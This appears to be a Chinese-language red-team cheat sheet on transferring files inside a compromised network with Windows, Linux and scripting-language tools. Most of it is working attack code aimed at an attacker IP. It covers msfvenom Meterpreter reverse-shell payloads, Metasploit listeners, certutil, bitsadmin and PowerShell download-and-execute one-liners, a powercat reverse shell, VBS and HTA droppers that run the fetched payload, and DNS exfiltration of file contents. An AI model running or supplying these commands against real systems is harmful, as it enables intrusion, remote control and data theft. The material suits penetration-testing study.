内网文件传输

Windows下文件传输

Bitsadmin

BITSAdmin 是一个命令行工具,可以使用它创建下载或上传作业,并监视其进度。

bitsadmin | Microsoft Docs
bitsadmin 示例 | Microsoft Docs

  1. msfvenom生成Payload
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f hta-psh > 6666.hta

image-20231017211955851

  1. 启动Apache2服务,托管Payload
1
2
3
4
5
#启动apache2服务
service apache2 start

#复制payload到web根目录
cp 6666.hta /var/www/html/

image-20231017212043335

  1. bitsadmin 下载 Payload
1
bitsadmin /transfer shell http://192.168.247.135/6666.hta C:\windows\temp\6666.hta

image-20231017212427555

  1. 启动metasploit监听器
1
2
3
4
5
# 进入msfconsole控制台
msfconsole -q

# 创建监听器
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 6666

image-20231017212410423

  1. 执行Payload
1
rundll32.exe url.dll,OpenURL C:\windows\temp\6666.hta

image-20231017212511020

然后kali就会上线

Certutil

certutil | Microsoft Docs

Certutil.exe 是作为证书服务的一部分安装的命令行工具。 你可以使用 certutil.exe 显示证书
颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件。

  1. msfvenom生成Payload
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe > 6666.exe
  1. 启动Apache2服务,托管Payload
1
2
3
4
5
# 启动apache2服务
service apache2 start

# 复制payload到web根目录
cp 6666.exe /var/www/html/
  1. 启动metasploit监听器
1
2
3
4
5
# 进入msfconsole控制台
msfconsole -q

# 创建监听器
handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 6666
  1. certutil下载并执行Payload
1
certutil.exe -urlcache -split -f http://192.168.247.135/6666.exe c:\windows\temp\6666.exe & start c:\windows\temp\6666.exe

image-20231017213059545

清除下载缓存:

缓存目录:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

1
certutil.exe -urlcache -split -f http://192.168.247.135/6666.exe delete

Powershell

PowerShell 文档 - PowerShell | Microsoft Docs
PowerShell常用的.Net 、COM对象(New-Object、Assembly)、加载程序集
Powershell命令大全

1
2
3
4
5
6
Invoke-Expression(IEX的别名):用来把字符串当作命令执行。
WindowStyle Hidden(-w Hidden):隐藏窗口
Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
Noexit(-Noe):执行后不退出Shell。
EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题

WebClient 类:提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0

DownloadString 方法:以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0

1
2
3
4
5
6
7
8
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://xx.xx.xx.xx/file.zip","c:/1.zip")

powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('https://pastebin.com/raw/M676F14U','s.txt')"
powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')"
powershell (new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')
powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
powershell iwr -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.247.135 -p 1234 -e cmd"
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=8899 -f psh-reflection -o shell.ps1
1
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.247.135/shell.ps1');shell.ps1";

远程下载文件到本地并执行

1
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe

SCP

scp命令 Linux和Windows文件互传

  • SCP下载文件
1
2
3
4
5
# 下载当个文件
scp root@192.168.247.135:/root/6666.hta 6666.hta

# 下载文件夹下所有文件
scp -r root@192.168.247.135:/var/www/html html/
  • SCP上传文件
1
2
3
4
5
# scp上传单个文件
scp test.txt root@192.168.247.135:/tmp/test.txt

# scp上传文件夹
scp -r password/ root@192.168.247.135:/tmp/pass/

Windows文件共享

net use命令是Windows操作系统中的一个命令,用于将共享资源映射到本地计算机上。

1
2
3
4
5
6
7
8
# 显示建立的网络共享连接
net use

# 与远程主机192.168.247.146的C盘建立网络共享连接,并映射远程主机C盘,到本地K盘
net use k: \\192.168.247.146\c$ /user:administrator "1qaz@wsx"

# 列出本地K盘目录,也就是显示的远程主机192.168.247.146的C盘
dir k:

image-20231017223949336

image-20231017224033205

1
2
3
4
5
# 显示远程主机192.168.247.146的C盘目录文件
dir \\192.168.247.146\c$

# 复制远程主机192.168.247.146的C盘目录下的6666.hta文件到本地
copy \\192.168.247.146\c$\6666.hta c:\6666.hta

image-20231017224412185

VBS脚本

保存为.vbs文件后运行

  1. 下载

download.vbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
' 使用CreateObject()方法创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
Set xPost=createObject("Microsoft.XMLHTTP")
' 调用Open()方法打开一个GET请求,指定要下载的文件的URL地址
' 最后一个参数为0表示异步请求,即不等待服务器响应直接执行下一条语句
xPost.Open "GET","http://192.168.247.135/6666.exe",0
' 调用Send()方法发送请求并获取响应内容。
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存
到本地文件中
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\6666.exe",2
1
cscript download.vbs
  1. 下载并执行

download_run.vbs

1
2
3
4
5
6
7
8
9
10
11
12
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.247.135/6666.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\6666.exe",2
wscript.sleep 1000
Shell.Run ("c:\6666.exe") '延迟过后执行下载文件
  1. cmd命令写入脚本并执行
1
2
3
4
5
6
7
8
9
10
11
12
13
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs
echo Post.Open "GET","http://192.168.247.135/6666.exe",0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile "c:\6666.exe",2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run ("c:\6666.exe") >>zl.vbs
cscript zl.vbs
  1. wget.vbs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
' 开启错误处理,当发生错误时跳过并继续执行下一条语句
on error resume next
' 使用"Wscript.Arguments()"获取命令行参数,分别赋值给iLocal、iRemote、iUser和iPass变量。
' iLocal表示本地保存文件的路径,
' iRemote表示远程文件的URL地址,
' iUser和iPass表示访问远程服务器需要的用户名和密码(如果不需要认证,则为空字符串)
iLocal=LCase(Wscript.Arguments(1))
iRemote=LCase(Wscript.Arguments(0))
iUser=LCase(Wscript.Arguments(2))
iPass=LCase(Wscript.Arguments(3))
' 使用CreateObject()创建一个名为xPost的XMLHttpRequest对象,用于向远程服务器发送HTTP请求
set xPost=CreateObject("Microsoft.XMLHTTP")
' 判断是否需要认证,调用Open()方法打开一个GET请求,最后调用Send()方法发送请求并获取响应内容
if iUser="" and iPass="" then
xPost.Open "GET",iRemote,0
else
xPost.Open "GET",iRemote,0,iUser,iPass
end if
xPost.Send()
' 使用CreateObject()创建一个名为sGet的ADODB.Stream对象,用于将响应内容保存到本地文件
' 设置sGet的Mode为3(adModeReadWrite),Type为1(adTypeBinary),表示以二进制方式读写流数据
' 然后调用Open()方法打开流,调用Write()方法写入响应内容,最后调用SaveToFile()方法将流数据保存到本地文件iLocal中
set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile iLocal,2

使用方法

1
cscript wget.vbs http://192.168.247.135/6666.exe c:\6666.exe

HTA脚本

保存为.hta文件后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<html>

<head>
<script>
// 使用new ActiveXObject()方法创建一个名为Object的MSXML2.XMLHTTP对象,用于向远程服务器发送HT
TP请求
// 然后调用Object.open()方法打开一个GET请求,指定要下载的文件的URL地址
// 最后一个参数为false表示同步请求,即等待服务器响应后再执行下一条语句
// 使用Object.send()方法发送请求并获取响应内容
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.247.135/6666.exe",false);
Object.send();
// 检查Object.Status的值是否等于200,表示HTTP响应的状态码是否为成功。
// 响应成功,就使用new ActiveXObject()方法创建一个名为Stream的ADODB.Stream对象,用于将响应内
容保存到本地文件
// 然后调用Stream.Open()方法打开流,调用Stream.Type = 1方法设置流数据类型为二进制
// 调用Stream.Write()方法写入响应内容,最后调用Stream.SaveToFile()方法将流数据保存到本地文
件"C:\6666.exe"中
// 使用new ActiveXObject()方法创建一个名为Shell的Wscript.Shell对象,用于运行本地可执行文件
// 调用Shell.Run()方法运行C:\6666.exe文件
// 调用Stream.Close()方法关闭流,调用window.close()方法关闭窗口
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\6666.exe", 2);
Stream.Close();
var Shell = new ActiveXObject("Wscript.Shell");
Shell.Run("C:\\6666.exe");
}
window.close();
</script>
<HTA:APPLICATION ID="test" WINDOWSTATE = "minimize">
</head>

<body>
</body>
</html>

Linux下文件传输

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=5555 -f elf -o 5555.elf

image-20231017225012860

1
handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 5555

wget

wget从指定的URL下载文件

1
wget http://192.168.247.135/5555.elf -P /tmp/ && chmod +x /tmp/5555.elf && /tmp/5555.elf

image-20231017225514167

image-20231017225533068

1
wget -O 5555.elf http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &

image-20231017225609442

curl

curl 是用来请求 Web 服务器的命令行工具。

curl 的用法指南

1
2
3
curl -o 5555.elf http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &

curl -O http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &

Netcat

1
2
3
4
5
# kali
cat file | nc -lvvp 1234

# linux
nc 192.168.247.135 1234 > 5555.elf
1
2
3
4
5
# kali
nc 192.168.81.221 1234 < 5555.elf

# linux
nc -lvvp 1234 > 5555.elf

SFTP

1
sftp root@192.168.247.135:/var/www/html/

image-20231017225823128

1
2
3
4
5
# -P 指定ssh端口
sftp -P 22 root@192.168.247.135

# -i 指定私钥
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.247.135

利用dns传输数据

1
cat test | xxd -p -c 16 | while read line; do host $line.srdjjk.dnslog.cn; done

image-20231017231457502

image-20231017231712440

image-20231017231510441

image-20231017231804527

脚本语言下文件传输

PHP

1
2
3
4
php -r 'file_put_contents("5555.elf",file_get_contents("http://192.168.247.135/5555.elf"));

# file_put_contents: 将一个字符串写入文件
# file_get_contents: 将整个文件读入一个字符串

Python

1
python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.247.135/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"
1
python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.247.135/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"

Ruby

1
2
3
4
5
6
7
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.247.135") { |http| r = http.get("/5555.elf")
open("/tmp/5555.elf", "wb") { |file| file.write(r.body)
}
}
1
ruby -e "require 'net/http';Net::HTTP.start('192.168.247.135') { |http|r = http.get('/5555.elf');open('/tmp/5555.elf', 'wb') { |file| file.write(r.body)}}"